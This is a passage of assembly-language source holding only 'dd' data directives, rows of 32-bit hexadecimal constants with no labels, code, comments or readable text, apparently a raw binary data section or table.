0BA799A0h, 26DB6D8Ah dd 1BC6610h, 599929C4h, 0C4F48807h, 89B4C8E0h, 2519FDEBh dd 0C4B16615h, 8003D533h, 0CA8135C1h, 0EE097B59h, 687FE09Dh dd 89581CE7h, 0F94FD43h, 459EB75Ch, 8022AE4Bh, 3F721522h dd 0B7E91B0Ch, 0BEA7566h, 76E34BBDh, 996CA200h, 31024DC3h dd 82685EF2h, 446D5C4Eh, 0F500805Dh, 0A0A4A37h, 0A8E5D12Ah dd 5E49A202h, 0E749704Bh, 0E9688C3Ah, 0A685FC4Bh, 0DED998BFh dd 4F94F2FAh, 28EA5816h, 2694E8AEh, 4AC9ED12h, 0A0B149E0h dd 0B02C75Ch, 0D78975F3h, 0F10C5A04h, 0FA2C2A7Eh, 351D1768h dd 0CCD3050Bh, 5534BBA4h, 9320D013h, 2618D5C7h, 175707B1h dd 0CD72545Bh, 385EDE5Fh, 55C54AE9h, 0DE10DCAFh, 0DB2119D2h dd 0F68C5F1Bh, 0C5AAF829h, 5D13950Bh, 0B074A25Eh, 0C371F66Eh dd 0D92DE73Fh, 0C516DC89h, 1342EC01h, 9288B970h, 3F41F9EEh dd 9607DA27h, 0AD97DECFh, 4F2F0CECh, 0D7EA59F8h, 0AB6619A0h dd 3E5FE9CEh, 79BA6824h, 0E8950472h, 4EA9D489h, 0E9C225A9h dd 0E5B1CF8Ah, 29BA5394h, 4A2C8BF1h, 8EA84F33h, 98B708F4h dd 44575F09h, 9852EE16h, 0C8FA4E24h, 68185619h, 0AD870B30h dd 605682BDh, 5A363501h, 142E8CA3h, 0CB25A919h, 566B2254h dd 575CF05Dh, 0C53D469Fh, 5E9DE340h, 90D10B3Fh, 25088D65h dd 6852009Ah, 66897703h, 0FD5D3AF6h, 4140BBBh, 3A317425h dd 2F70907Eh, 3E5B5E0Eh, 0F610580Bh, 3574400h, 2E1F9268h dd 9322D567h, 7CEBA35Bh, 69E4424Eh, 0FF09DC2h, 0AD84CB5h dd 0F861D0EDh, 74CD07C7h, 80311408h, 690BFDFDh, 4AB1F35Dh dd 0ABC9ABA2h, 0ECB7CF50h, 833B3161h, 2C427F9Fh, 0DDE896A5h dd 649250Dh, 8C72BD8Bh, 0C11E808h, 0E15F05D8h, 0D088E97Fh dd 50525C9Eh, 0A0B1DDF1h, 7D6FB3DFh, 3FE65761h, 1C7A1210h dd 8979F580h, 0D88842C5h, 6F8D29CDh, 0E7463CEh, 0B3530A00h dd 80F7B1B6h, 0A0D473F1h, 99D930B3h, 69420BF1h, 19B7C110h dd 5BFE881Ch, 0C5D1F317h, 0B2007465h, 64D8B5DAh, 0EED80E4h dd 0EF8853A5h, 2BE9F842h, 0D52D0AC8h, 97B1502h, 8905D029h dd 0C096FD07h, 0E5E0C34Bh, 2A56416Ah, 828FF5B0h, 0FD92427Fh dd 2EAE64C0h, 0FA917A24h, 5239940Fh, 0CFEFCE00h, 0DD0DD132h dd 0CA170118h, 0A2DF2968h, 280E818Eh, 895966CEh, 7E3389F0h dd 0B5132A1Ch, 164B6A73h, 0FF9755B1h, 0A626F52Ch, 0ED589789h dd 9A4A9F34h, 1689E379h, 4CB2D750h, 7FA03463h, 574C70DCh dd 0B9807357h, 0E4171E5Dh, 9DB58B38h, 49A8D9C6h, 0F59CA1E6h dd 87729C60h, 4A1CFA44h, 0BB8A4EF7h, 0C37D03BAh, 7039FA4Fh dd 0A278B781h, 0C79D0B7h, 86D49380h, 0C00A830Eh, 8C0BE901h dd 58AFDEA5h, 1CC9D6E2h, 0BAA8F20h, 0B822606Fh, 2578134Eh dd 7450709h, 53E04E05h, 0D8B9E9AAh, 0A7EEB1C3h, 0D94E8324h dd 13726FD2h, 6F78EA92h, 718028E9h, 3D0BFC1Ah, 41902D36h dd 0A1044A1Ah, 0C5E8EFD1h, 6FA8BA80h, 81974A8Bh, 5DEB09F3h dd 1637230h, 19441A1h, 0D2E4E9CBh, 349CE7D5h, 612DAB0Ch dd 12846738h, 0D0A81255h, 28F8EA0Bh, 36422576h, 645F07FEh dd 7F74E130h, 8CBA8875h, 0AC5D68CDh, 6B499EF9h, 403B51E5h dd 1C685A54h, 0A2300A4Bh, 0BD55B8h, 14F7816Dh, 0E911D356h dd 181BD927h, 805FC5F2h, 5A045952h, 0C1314891h, 2080C86h dd 0B12E181h, 244001C9h, 0CE7562D0h, 5AB5E9F8h, 0D591A2DCh dd 1985E84Ah, 0F625BFA1h, 0B5E07C1Fh, 0F828D001h, 45BEC2Ch dd 7F5E217Fh, 6AA9412h, 0F154737Ch, 2C2902B7h, 4D04143h dd 44D77CD2h, 8F32BA54h, 86204155h, 0EBEA8004h, 429813EDh dd 899534F8h, 0C15E82BCh, 0FB5D05BEh, 925A6DD8h, 0DDF73BACh dd 25C49B94h, 5706F600h, 0F1315F71h, 25E52FCh, 0D83BCFD9h dd 6D2456A3h, 0EE067B3Ah, 0F2424E05h, 0B0495ED3h, 0DB975EBFh dd 5E0228C8h, 139FE3B4h, 33915DE4h, 7C3C563Bh, 0BC7551CBh dd 0E2379891h, 89B272Ch, 337DD662h, 20323865h, 65A12125h dd 2E2EF368h, 0F63B8999h, 0E0B64A5Dh, 4E7E0A48h, 4A2FA750h dd 0B597AAD8h, 9351900Bh, 0E2E956E3h, 8624FF7Ch, 765D0908h dd 9EDA25A8h, 0F1B3A325h, 535B92D6h, 0C2D1C153h, 124A7213h dd 38EE5939h, 0DB40712Ch, 0F5214A59h, 50AAEDFEh, 80C281F8h dd 17897B18h, 2D721FF6h, 787465C4h, 13ED840Ah, 0B1215D25h dd 0FD2016EAh, 1C26B402h, 20EE0814h, 0F47D9A7Dh, 4A83BA2Dh dd 3E3DE087h, 5F77A318h, 835ED46h, 0DA01584Ah, 6C970820h dd 2A0F863h, 68C7E9B9h, 565951C3h, 1FBF5B13h, 0BA6D8946h dd 0A265B17Eh, 0E9E69C5Fh, 0B505FE25h, 69CAF59h, 0D5B9524Ch dd 0FC3B6301h, 30D6295Fh, 3109FEBDh, 0F9407F3Dh, 5A368A87h dd 3151A5A9h, 0CBD536E5h, 0BF574603h, 0CCCCD36Ah, 915A5ACAh dd 2897BD7Fh, 651E9229h, 4EC4BB92h, 9754F3AAh, 256135AAh dd 9574BA79h, 0E5D46BA6h, 2220FE27h, 622B177Fh, 0BF2F2498h dd 8F719EFh, 0F155C225h, 0E9B1FEADh, 99A68CFh, 7D5BA568h dd 0F8F668B2h, 79A63C1Dh, 0FA62F712h, 297372D1h, 0BEF20D86h dd 0C641C8ADh, 1E42DA4Fh, 510024DDh, 278FE017h, 9313B4Ah dd 0CE2B17A4h, 0FBAC5FACh, 0EC60263Ah, 95B831BDh, 0E4F0C25Eh dd 2B5C62E9h, 55DC389h, 0F2AC5800h, 0DC817C2Fh, 0E06404ACh dd 0AB955F6h, 1A486884h, 7BC0C2BCh, 0BD464A23h, 0AC425EAh dd 0A2BC4FE9h, 3ABF2D3Eh, 120D6E00h, 354BDE5Ch, 0E74F080Fh dd 93DAE002h, 2DE94919h, 0EFD65221h, 0D26ECE71h, 1FCBD218h dd 22B2EDD1h, 1631487Ch, 8E4315AFh, 0D94CD068h, 0B02B5A4Fh dd 0B5985020h, 66393C92h, 0F6F05EADh, 4F4262C8h, 0C90B7F47h dd 37255A98h, 7CDF0FECh, 0F51C7C2Fh, 0F0AADF6h, 5DBC222Fh dd 0F380D9AFh, 277246BBh, 0AD9FFE90h, 523F0C92h, 0E904079Eh dd 0D30F955h, 0B0B7A444h, 4EFD2965h, 0F3CB465Fh, 0F23C63B8h dd 545AADE7h, 4F89024Bh, 8F605F25h, 0B881DCB4h, 0D0A7222Bh dd 25AAC65Dh, 4D0288E9h, 0B733C8Bh, 0DD37E941h, 0DB41222Ah dd 34E58100h, 62E63D07h, 0ED00D53Ch, 0CD979FF9h, 1A97EB89h dd 0E92B8359h, 8DBEE49Ch, 0EBD1E7F7h, 64149673h, 0C302F309h dd 328EB97h, 0AAC7819Bh, 0C0C5C05Eh, 278E5C67h, 0DF84F54Ah dd 942B74EEh, 5A95E703h, 0D65A9382h, 9E55D28Ah, 15C4B7C1h dd 13502320h, 0F427A468h, 6F995F2Dh, 0B340F14Dh, 0BD49424Bh dd 47F54380h, 4C582B59h, 93E43D08h, 0F7B94DF0h, 0F2E90840h dd 752FB794h, 39063E8Ch, 0F2F2DBE1h, 0C2019868h, 7E952190h dd 420026C9h, 1877807Bh, 8669227Ah, 0AD277995h, 0E9522E80h dd 55D3BF33h, 0E4865C04h dd 58A4590Fh, 0F8849393h, 45981EE9h, 9CE28126h, 0C2FB974Fh dd 0C40B52FBh, 7FD0FA74h, 0B70B3630h, 0E402CBD8h, 0E93BCD69h dd 0D3286B53h, 32BEEC5Fh, 7A2C4040h, 87ACB4DCh, 29272BD2h dd 80B4DC0Fh, 0D0E6C58Eh, 0FE480FD7h, 0FFD5F5Fh, 0ADBA81E5h dd 4F5F367Dh, 55565CF9h, 346C2917h, 0ACE6C271h, 0FCAC5805h dd 68CBF201h, 0FD420A0Eh, 1E12C772h, 7104015Eh, 6E1BE296h dd 64874FB2h, 222392D8h, 296FF88h, 0E3C1042Fh, 0A8DBAFC1h dd 0C40B050Bh, 607D07FEh, 83C03C24h, 1AF61A05h, 9C82E0EFh dd 559302E5h, 2492ED1h, 84628281h, 0C4FBEF3Dh, 483287A0h dd 0ACA2BD13h, 4EF95B10h, 4318FF35h, 482858BBh, 441242D3h dd 8F50E05Ah, 9BE928C3h, 4B245C4Eh, 0CA54FBF4h, 0AC8B4F3Eh dd 7D33CC09h, 0F229C089h, 0C18A5B96h, 0E979B9DCh, 5FD9C8FEh dd 1C6F2D21h, 130DCCA2h, 6BB89BFCh, 0EF8477E1h, 0EB50A43Dh dd 0CF77BB0Fh, 0D24B6447h, 44C57592h, 823D24A6h, 90F752EDh dd 9648E999h, 0CEEB2E6Dh, 0BCDE3F98h, 2045C69Fh, 679DA4AAh dd 939B5E3h, 202BA31Ah, 0D56BE971h, 0B54FB816h, 505D6DC1h dd 3B858C8h, 0C1CC9474h, 0DED83105h, 0E8480108h, 6F084105h dd 1CBE331Fh, 4A3A81F8h, 53A20BFDh, 5F2F32FDh, 2431C7E9h dd 30E35D93h, 6880B2D6h, 0DB5714A0h, 0BD45CF16h, 7477866Eh dd 63495EF4h, 32250241h, 75C128FAh, 605D982h, 54C5B379h dd 0F5FBA21h, 0F3801884h, 709C1D2h, 3FC404E5h, 27850982h dd 0A36CE2F9h, 2C4BC57Dh, 61D913ECh, 6D563693h, 63251259h dd 0DDC634FCh, 95206855h, 0B35315F5h, 0C10B64AAh, 4B0105EFh dd 89AC3BC8h, 454F23CAh, 6AC6C91Ch, 5BC3E89Fh, 405C816Dh dd 325A25D9h, 62243C5Ch, 7F213E0Dh, 9F616D12h, 85E7BA68h dd 115C02A7h, 0C3CB0ABFh, 0BEE42708h, 5594CF96h, 15ED4B9Eh dd 3181F900h, 0E62BC473h, 2D2F5951h, 51B610E3h, 2F8552Eh dd 5D27EB2Bh, 0A2751AD5h, 7C9A49BCh, 462360F6h, 7FB074C1h dd 8A4A1B90h, 0E9386B83h, 78606CFDh, 0D3724012h, 3A08E05Eh dd 0CF898401h, 245BB659h, 35811366h, 7DAB7A9Ah, 0B7AACBE8h dd 0FD69BA3h, 0C7291C88h, 8858E2FBh, 0E05F7495h, 0EB685958h dd 96CC745Fh, 0B3114B95h, 0ECD84AA4h, 80C14098h, 7EFCEA6Eh dd 0D3D96E8Bh, 41A5BDDDh, 2A5D5341h, 0E9C668A2h, 522E4B15h dd 370BFE88h, 0E91A7675h, 46935D6h, 0FE1294E8h, 6EF6F812h dd 2FB4417Eh, 0F22AC4B1h, 904D3B3h, 0C716D35Bh, 3E483D11h dd 418ED82Ch, 0BFC50084h, 0EC4F080Eh, 0F42F58E8h, 77813800h dd 53121720h, 0CBD050Ah, 0FE5B3914h, 0C2CB00D6h, 0BD0C8F10h dd 70EF4201h, 0F81BE9F3h, 583D2A2Ah, 71A62D37h, 2C9181E5h dd 6C4B03C5h, 0FE6817FFh, 0E5EDC221h, 0B2AD773Ah, 665DFD16h dd 1DC449E4h, 4296617h, 0AC763A6h, 0A109C9B5h, 9F45C45Ah dd 18BD93F0h, 97F010E3h, 0E98976CDh, 2945E16Fh, 4C5A1C9Eh dd 0B912EE44h, 7B73DB02h, 60E1C166h, 1402C917h, 0F3641B5Bh dd 8553A505h, 4984BE9Bh, 0BDEC42FBh, 0D543FA27h, 2F56EFADh dd 13905EBAh, 0BF74BEAEh, 5CD82082h, 0E1A4082Bh, 2073B205h dd 804680EFh, 0E6FD0FC1h, 283D6350h, 97ED12D5h, 5A7D9CBCh dd 0F692071Fh, 0CD00D9D1h, 0C059CE88h, 7D07E626h, 0BD0EC913h dd 5BDE05C8h, 2008D4A0h, 0EC1152Ch, 22EE80E3h, 0EC25E6CCh dd 0CA264F6h, 0FE370B32h, 3B208B9h, 535A5B05h, 2CF29DEEh dd 0E8815FC6h, 606BF530h, 1C580F9h, 527250F4h, 87B55118h dd 25E9ECC8h, 4966AD5Ch, 0CF36310Bh, 693ADE65h, 6378D90Bh dd 6060566h, 0C74E011Eh, 0C2E98E6Ah, 0F58D6F82h, 1059B32Eh dd 56024A22h, 0ED6779BEh, 3B203541h, 5BF67713h, 6603D31Ch dd 0B6952F0Ch, 9E272B2Bh, 5DE927F5h, 4014C05h, 8A49DA48h dd 715D2504h, 0E3E989A2h, 0F5518429h, 0C16B5C51h, 24E7ABADh dd 69621DA8h, 1FA6447h, 20FCC980h, 0FE736326h, 2F9F90FAh dd 0E01E4F2Fh, 0CB093FC7h, 9ADAB559h, 0E3DEF109h, 8A69416Ah dd 99BA3180h, 81173614h, 1CACCA07h, 0F2604132h, 0B745BB4h dd 833CE9ADh, 0EA52DF7Eh, 0E7F157F7h, 1E25584Ah, 0C86813E5h dd 0F582E866h, 0D3894A5h, 6A7680Ah, 2BABA50Dh, 16B9157Dh dd 26FDF127h, 48497BFDh, 54052D41h, 42CAA6A4h, 8776752Eh dd 7934624Ah, 448EDC2h, 5EC2EDBEh, 22C72EB1h, 0E9130274h dd 96358ECEh, 0FA548CB4h, 0B3B24FBDh, 0C12979A3h, 7C66A948h dd 0D9D0BFA8h, 5C31F04Ah, 6C164DF8h, 1B1FBA78h, 0FE4A95B2h dd 6CB259Dh, 0B5A32Ah, 275D0803h, 0CEF4EE81h, 5201DF2Eh dd 89337625h, 9242C0E9h, 420B94F7h, 0AECD6D7h, 409E12A4h dd 23E4B824h, 60FB0BCFh, 4D5ECDFCh, 0CF50E7A7h, 526F1E22h dd 8D9533Bh, 0B30E6078h, 0A197EB23h, 0D830AC8Eh, 0BD55C324h dd 2B8A5E33h, 0EFC7685Dh, 1A651FF9h, 4BAD0A2Eh, 384B250Bh dd 4456C7B2h, 50B5924Fh, 0BC89C205h, 0AA5D122Eh, 5D1CA686h dd 5B2D1D3Bh, 69687ED6h, 0AC0F77A8h, 6422FB45h, 0A8ECFE42h dd 0D303F681h, 0A4D83F15h, 0A8CF5A32h, 0DD00E4E2h, 45092C7Dh dd 62E820E9h, 5B44BD07h, 56A26613h, 0E1D1A3A0h, 5E51C257h dd 9E542721h, 9D24E159h, 0E85D4F58h, 0F4BDFEBh, 28F207h dd 55FE4D11h, 0BED273BFh, 0AA8344E3h, 0F21D2261h, 0E1EDD781h dd 0EC51D5E8h, 4B9A87EEh, 57072EFEh, 454D5D35h, 48603082h dd 9781BF3Fh, 8A7FF492h, 72497EB0h, 474020CFh, 0A09F3362h dd 49ACF403h, 4CF1CA55h, 2A96B7AAh, 20A1CCB7h, 49EEA46Dh dd 0E9A978B7h, 0B658C32Fh, 8CE9F8C0h, 0E39D7464h, 0F11887AAh dd 1562B873h, 58DD5001h, 73D37B3h, 6FACCB01h, 2E432C73h dd 0DF25AFF6h, 0A92884FEh, 0BC836209h, 5BB086A4h, 3E916F7h dd 817AA4DFh, 0BD8DBF4Eh, 0E92B0F21h, 7C73801Dh, 16C149D1h dd 449707E8h, 165EB406h, 0F65209AAh, 88F106E0h, 0C74ADD7Fh dd 2CACD602h, 0AFC97991h, 810317CCh, 9367DEC6h, 0A1C4861h dd 0C830841h, 4F894473h, 4B8355Bh, 0F9F65CF0h, 874DE916h dd 9AAA7B34h, 829625AEh, 775E54A5h, 0E99DFCE7h, 0F0B4E3D7h dd 5C68B006h, 5EC0F547h, 73226853h, 0E9F0DBB5h, 77A3C2CEh dd 13726480h, 0F74F4971h, 0B03B6C3h, 0FEA9E915h, 253CA559h dd 0DC1FC8DEh, 80E10386h, 0CF881BF1h, 0F2504FF2h, 0D8F7282Eh dd 0C003F817h, 0A572FB68h, 0C0291AF4h, 1102D7Fh, 7F9422A4h dd 2896561Fh, 525C4C45h, 0E93B32CEh, 9406ED4Fh, 0F63B10F9h dd 0B8D86654h, 0F98839B9h, 0DFEC827h, 8020B240h, 63C65C2h dd 0B0CFC14Ch, 0E9D0C326h, 20955205h, 0AA156735h, 0FD088263h dd 0E15A1408h, 71046A3Ch, 84F5014Ch, 0C7081AFFh, 12AAA284h dd 0FB8874EAh, 5B537473h, 2D0229EBh, 6F808527h, 0CA01C135h dd 7B4723CFh, 82B96620h, 43D1AF5h, 874601F1h, 1720945Fh dd 1C587F4Eh, 0D82753F6h, 5B92DC32h, 0CA4FE130h, 659B56C0h dd 9C5DB77h, 187D5E08h, 5FCAE9ECh, 0C81C404Ch, 684F2B75h dd 104E7DE3h, 114C336h, 0BD4AA8EEh, 595D25BFh, 0B05B172Eh dd 0F52580ABh, 1CEE02F6h, 8EBE00D0h, 394C9F3Dh, 7B057628h dd 0E7D11318h, 0C1A45282h, 0FE21485Eh, 0F4C44D31h, 292005F6h dd 0EC22E9FEh, 4A7980C0h, 0F858713Bh, 38EFBE89h, 0E87CDD30h dd 0B5045159h, 2E5C075h, 526BC8FBh, 655BE498h, 0C580CAF2h dd 31D55133h, 0A4E94D17h dd 11F061A5h, 48AB3D6Dh, 6F00D9AFh, 1018A9B9h, 20F27448h dd 5BBB0FC9h, 4B4A596Fh, 0BA6C319Eh, 6DC27B0Bh, 0D29ADF1Ah dd 6F747FA9h, 892774CBh, 90616FE9h, 0B9F9D8ADh, 0FE498EBEh dd 0A3D77A4Fh, 1E58A064h, 5241648Dh, 67180119h, 602B106Eh dd 98B67EB1h, 4942F3DAh, 5B58977h, 68F64C44h, 18F5089h dd 203F453h, 0C0E08B95h, 7063C646h, 0A84D5B2Eh, 0F58102A3h dd 0C0A91280h, 14B9CD6Ch, 0BA3B3155h, 0F3A26905h, 3C55AC10h dd 0B025FE9h, 0C23D2C58h, 3A5CF492h, 4430257Eh, 50531910h dd 36166817h, 1D88ED88h, 245251D7h, 8B110823h, 3C2BF627h dd 28E07712h, 32950108h, 8058D01Eh, 2C2691A7h, 0AF5E28D5h dd 6093C344h, 27492DBEh, 0B1D3530Ah, 0F76503F5h, 2961477Fh dd 23B8CFB0h, 18CF5E79h, 65F18460h, 0E917B3A8h, 3FD8A445h dd 61E3115Ah, 0C7575DC9h, 0AA292561h, 0CAECEF10h, 0B7EEBD80h dd 681238D8h, 16E35486h, 7BB60279h, 1FE96ABCh, 65E431F4h dd 2D1C8380h, 0AE76125Ah, 0A431FE26h, 0C06FC129h, 44E955F0h dd 6590614Eh, 28797CE3h, 3BA14EA6h, 228595A4h, 0ABB9C0E9h dd 0B2512323h, 0F61CFD74h, 0DAAFE912h, 95BB5E25h, 8C2B00C2h dd 0E907061Fh, 99D7CF25h, 77F2501Dh, 6827C9EEh, 0BC84D96Eh dd 81292D14h, 480EE9C2h, 3D505C7Eh, 350D8003h, 72371000h dd 6992A805h, 0A661B7A4h, 6A8EEDE9h, 75E5F38Dh, 291D512Ch dd 8059FFFAh, 42104248h, 0FD5B0562h, 37F20A68h, 0AA71E985h dd 3C778945h, 108421AAh, 814A0043h, 0FEEF09EAh, 17EE69Dh dd 5A2BE941h, 7ECC8E7Ah, 76618527h, 5369EFE4h, 0C3DD2062h dd 0B10DC012h, 293B2CD6h, 0E24608FEh, 0FF570F27h, 6E4B6792h dd 88E14554h, 0F42FBB63h, 21C1048Eh, 10C8728h, 2BFD04D8h dd 0B6770B88h, 0C8D83CBEh, 905A7E7Ch, 5F0527F8h, 0EA5B1C1Bh dd 5F897BA4h, 0E94E2CD3h, 0F9837330h, 2D7DF1CAh, 0AD5E7BA1h dd 0EE045F28h, 485EF012h, 0CD495B85h, 3C280072h, 0EC2FB417h dd 66DC0FF1h, 0E16641E3h, 0DA011207h, 0E9F63244h, 6192EBA5h dd 500405EDh, 0CFFCE048h, 0A5F7B54Eh, 678F444Bh, 0D00113C5h dd 2B153BC7h, 5870E2EBh, 80609FA9h, 0C7F4D731h, 0BF149F60h dd 5E06360Fh, 24B3863Bh, 0B078282h, 4A21BE9h, 0C7E335B7h dd 83F4FBC9h, 81C3803Ch, 0EB579F28h, 168A105Ch, 0BCA6BEE9h dd 0A7A337h, 0FEAF2C9Fh, 0C9134C8h, 6601D7Dh, 0C026B231h dd 800409EAh, 9976D9E2h, 27A0471Dh, 0D46C215Ch, 24FADB97h dd 4AB372Ah, 0E941AB5Bh, 0EA127DBh, 4162B53Ah, 2C63F8Ah dd 5144DD59h, 0BE5B1FCAh, 39FD4017h, 0BB0D8285h, 16B66E78h dd 0E692B4Dh, 34C21EC8h, 82D7C178h, 0EC8FA8Fh, 5C5BB1BEh dd 34E20731h, 57D549D6h, 977191DCh, 514192F9h, 0A2CE8468h dd 71A9FDA3h, 9F1CB72h, 68F889C9h, 8161A0ADh, 8FDFEAF7h dd 954A46F4h, 0DC89B514h, 0EC27DCEDh, 82D8E24Ah, 511761F1h dd 947EA0A1h, 124B82E3h, 1019F9AAh, 0C404123Fh, 922CCE0Eh dd 0DB1722EDh, 495D0588h, 8802A957h, 0ED808508h, 9EB4C29Fh dd 0E204BAEAh, 2D3407D3h, 0F492C5A7h, 0BDBE5267h, 0FDB0D252h dd 0E24C111Ch, 150383ACh, 0B02D6442h, 2D4540E7h, 8DA07F30h dd 967C04F7h, 0B7C4644Bh, 30C11484h, 0BC04513Ah, 0C7941234h dd 40F16E2Ch, 15B0ADB3h, 0AE47070Fh, 5E2E8411h, 96207612h dd 771D3103h, 51FB2979h, 89CAA56Ch, 0BD2A840Bh, 0FE81E9A8h dd 6E336E48h, 0A411CB3h, 2B382D2Bh, 12F8CACh, 0D25BBD7Ch dd 0BE2266BAh, 0E23D897Dh, 8272C25Ch, 0F6BF69Ah, 0FE9CD2Eh dd 0B2A01FAFh, 1C280CAh, 0C2DAF62Dh, 939041A1h, 0CA77C312h dd 0D907FDFh, 44655FE9h, 0CABBC721h, 98B74B71h, 0FD870F13h dd 0F4F08449h, 6334BA12h, 0B686644h, 0F75E0FF8h, 94E94BF1h dd 2079FC15h, 8A681579h, 4617E66Ch, 8033F36Fh, 1D864FBFh dd 0CF829FDBh, 57CBEDD8h, 64C02A3h, 0F037135Ah, 5CC903EDh dd 8A75A2ECh, 2091F482h, 0DA65956Ch, 6805D02Ch, 67547D2Bh dd 4EE1250Eh, 54C0B5C5h, 5C818ED9h, 6DF57D40h, 25560320h dd 667C7E78h, 0CF4122A8h, 2B2D4C02h, 0D8F0D9E0h, 0B5FCEC26h dd 34A2C51Bh, 1550FDD6h, 2B64813Eh, 7EA47697h, 902140F0h dd 0A3D0813Dh, 0EF976E72h, 5D091F02h, 0DAE28250h, 0ECA50E67h dd 0B963AE3Dh, 811349E3h, 0F667A84Fh, 0B0ECD8A1h, 6E16EABDh dd 95160982h, 4F5173A0h, 5D712243h, 0C2C0BEDEh, 973DAEE9h dd 0F83097ECh, 0B9F2BDA2h, 11DB0028h, 355AD031h, 2A12F350h dd 24148958h, 5221046Fh, 82FE367Eh, 88FEB19h, 0C713A872h dd 0DA25C388h, 13A0D967h, 9F9ED1E9h, 0DD9302F9h, 615AF05Fh dd 8D42759Bh, 2A1A1C7Dh, 5CA32AE9h, 218FD21h, 8DF6BDABh dd 183551Eh, 0E1E168D2h, 0FCA59665h, 259AAC66h, 0BDE5E917h dd 0B74CFAA2h, 1CBE4D5Eh, 0A6E4BB8Bh, 5D960540h, 9D13458Bh dd 1AE373E0h, 82C237C5h, 225FEA52h, 5C33B6h, 0C780A1B7h dd 0F81F254Fh, 35A12652h, 7B3CF56Eh, 6257D72Ch, 0E6C125B5h dd 827BC600h, 52FB07C0h, 24395DBAh, 0FB0BAE03h, 82505829h dd 29C8620Bh, 77DA099Eh, 44810B22h, 0C0613C00h, 6C292F0Dh dd 0CA01371h, 0E627E912h, 0CC09709Dh, 208B43Ah, 0BE827641h dd 3ADCA1B1h, 0F8CBA4F5h, 0D85B0C04h, 17147ADDh, 0E175A3h dd 67993219h, 2768EED1h, 22C6796Bh, 4EAE08E1h, 8872A271h dd 0B2E98401h, 718CFE42h, 0B001F3DBh, 3DB76EA1h, 0B3498318h dd 0A77795EAh, 0D6894C17h, 0BE9013F9h, 1C4E2967h, 7B1777ACh dd 12BA56BEh, 0B41FECDAh, 0B3146BFDh, 0B881BB88h, 7E4A4023h dd 41684502h, 5772904Fh, 5AEC09F6h, 355E2DE9h, 0CEBF6612h dd 25683DFDh, 0E4714671h, 5C213039h, 8A40318Eh, 520C2648h dd 31854B48h, 4B028583h, 0E3458006h, 70F30AADh, 0FA406DC9h dd 1CBB0FBEh, 54B371Eh, 3B90E890h, 0BFEFC695h, 0F1AF755Bh dd 40D46465h, 0E888F7B5h, 80595E66h, 0EFB45019h, 81C660E1h dd 9BA9A40h, 9C6326CCh, 609A2DD8h, 0CFF4CEFFh, 0B405E95Bh dd 34625FC0h, 219F41E9h, 58717D9h, 6CED9F81h, 9BF65C02h dd 0BC2E9903h, 0E521E92Bh, 482EB63Ah, 683205DBh, 49923577h dd 2CB8E129h, 0EE250B32h, 8455F778h, 325DE538h, 0CAD83C01h dd 0E4E021BBh, 0A2932F6Ah, 7748C2F1h, 3664268Bh, 0A2F22928h dd 98C97194h, 17A59E91h, 0A8316EA0h, 97C284A8h, 0A24C8F10h dd 29334D04h, 0BB3480CBh, 18240F17h, 4208CBD1h, 0A4BF126Dh dd 304C2D24h, 0CC3A2411h, 4F070514h, 807BFFACh, 55544A68h dd 0AA5B7DE3h, 23BF9975h, 3302843Dh, 6658C288h, 0D58CE05Bh dd 2867162Ch, 8F11B9F8h, 94FC73B3h, 0DAFE582Fh, 7A680551h dd 0C2523193h, 520405FDh, 0C2E7A709h, 3216532Ah, 6FC1E34Fh dd 62B0D42Bh, 0BB005C91h, 58AA226Bh, 88209B40h, 7CCD5E4Eh dd 0C5F6442Eh, 0FB0F16E0h, 0CC3205B1h, 3ED659FBh, 8BFF8B05h dd 5ABFDE14h, 84419DEEh, 5EBB4344h, 0F1D6D3DFh, 2F34F553h dd 68C2EDE2h, 2AAF28C9h, 0AF1AFE05h, 0D6BBF031h, 39BD5207h dd 0DFECA5FDh, 5EE33B81h, 7D00DB07h, 0EE29D76Ch, 9F54CDF8h dd 1B5B3B95h, 0B5016DD8h, 0B9CF3910h, 0E5D53180h, 0BCDCC03Eh dd 45482336h, 2EA558D4h, 52CA2B73h, 10557743h, 0DB078663h dd 5E612CC0h, 1F7E108Bh, 2049D830h, 89DDD942h, 4D55EE19h dd 42F324EDh, 0B800878Ah dd 17745C9h, 4E1F357Dh, 20406D5Bh, 4C021CEBh, 24E91915h dd 6C477DAh, 5264B7A4h, 9ABF3698h, 0CE90A08h, 8240E047h dd 246774Ah, 71ABE56h, 0CAC3662Ah, 0D5110CB0h, 0EF3092Ch dd 0C5FCC30Eh, 0C88008A9h, 50867ADEh, 0CE78C061h, 5CE0C7DBh dd 7568106Fh, 0DBF3334Bh, 0C6357F04h, 51B8A015h, 1E37B900h dd 0CD0907A8h, 0B62F2AE9h, 4C717FB2h, 1034866Eh, 0BEB785E1h dd 9CA220C7h, 9499D5FEh, 83BD2F52h, 22D78D4h, 114678Eh dd 6A3BC0AAh, 3A3F0617h, 5B1816E1h, 15F7102Bh, 5E0E08C4h dd 204A5706h, 8EB4931h, 188C11CAh, 15083F26h, 41606140h dd 88DAFD3Ch, 0C53C128h, 1A10CEF1h, 29088A63h, 0B4181047h dd 31DD18E2h, 80BCAF10h, 8C825C04h, 40BA0820h, 0A463D56Fh dd 1B649120h, 18259608h, 83F1FEBh, 0D7816454h, 5111F11Fh dd 1F088830h, 78830868h, 28923138h, 0F4017DBAh, 0EEFC0120h dd 94ED188Ch, 8CE90A08h, 8511018h, 0A1646C81h, 0BA402DC9h dd 0D83840E0h, 0D908296Fh, 84519E71h, 9998A85Dh, 60FE087Bh dd 1558C1C8h, 0B710A080h, 0C0611855h, 80D23B08h, 148059C1h dd 3428C67Ch, 2131082Dh, 758C1868h, 0E9CF0888h, 3FFB2B08h dd 6DC7D162h, 0DC4A8D05h, 408C84E8h, 0C44CC176h, 6AC0C08h dd 202005B3h, 11B0ED5Ah, 4F6610C4h, 0E8B1430Ch, 9F840E54h dd 0D1988E81h, 6BA3E9A6h, 8CC908C5h, 3D0DC048h, 2E2065A0h dd 21C02039h, 0F1B0FE54h, 0D420EA63h, 190812B8h, 19385867h dd 589286A9h, 0C8E3F48Bh, 0D5071818h, 81F43008h, 2018EF41h dd 2C08373Ch, 24188107h, 7963AD28h, 18014810h, 18F3B608h dd 7A801A84h, 72DA8036h, 2A407492h, 99CA40A8h, 9008D863h dd 0AD182418h, 7A118C24h, 6A635508h, 3199CC20h, 8BB91308h dd 41899809h, 8040BC08h, 4C8028EDh, 5930C6E8h, 7A2008F1h dd 798962A7h, 0BD05B469h, 0E658C85Fh, 80C5EB08h, 48C435A6h dd 0E909C392h, 0E1A2A826h, 2A184D49h, 0DB32948Bh, 49560886h dd 66C32964h, 31ABF191h, 3182E720h, 0B018126Bh, 